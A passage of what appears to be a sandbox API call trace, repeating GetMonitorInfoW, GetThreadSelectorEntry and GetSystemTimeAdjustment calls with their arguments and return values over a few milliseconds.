out: lpSelectorEntry=0x18ee28) returned 1 [0026.877] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.877] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.877] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.877] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.877] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.877] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.877] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.877] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.877] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.877] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.878] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.878] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.878] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.878] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.878] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.878] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.878] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.878] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.878] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.878] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.878] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.878] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.878] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.878] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.878] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.878] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.878] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.878] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.878] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.878] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.878] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.878] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.878] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.878] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.878] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.878] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.878] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.878] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.878] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.878] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.878] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.878] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.878] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.878] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.878] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.878] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.879] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.879] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.879] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.879] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.879] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.879] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.879] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.879] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.879] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.879] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.879] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.879] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.879] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.879] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.879] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.879] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.879] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.879] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.879] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.879] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.879] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.879] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.879] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.879] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.879] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.879] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.879] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.879] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.879] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.879] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.879] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.879] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.879] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.879] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.879] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.879] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.880] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.880] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.880] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.880] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.880] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.880] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.880] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.880] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.880] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.880] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.880] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.880] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.880] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.880] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.880] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.880] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.880] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.880] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.880] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.880] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.880] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.880] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.880] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.880] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.880] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.880] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.880] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.880] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.880] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.880] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.880] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.880] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.880] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.880] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.880] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.880] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.881] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.881] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.881] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.881] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.881] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.881] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.881] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.881] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.881] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.881] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.881] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.881] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.881] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.881] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.881] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.881] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.881] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.881] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.881] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.881] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.881] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.881] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.881] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.881] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.881] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.881] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.881] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.881] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.881] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.881] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.881] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.881] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.881] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.881] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.881] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.881] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.882] GetMonitorInfoW (in: hMonitor=0x0, 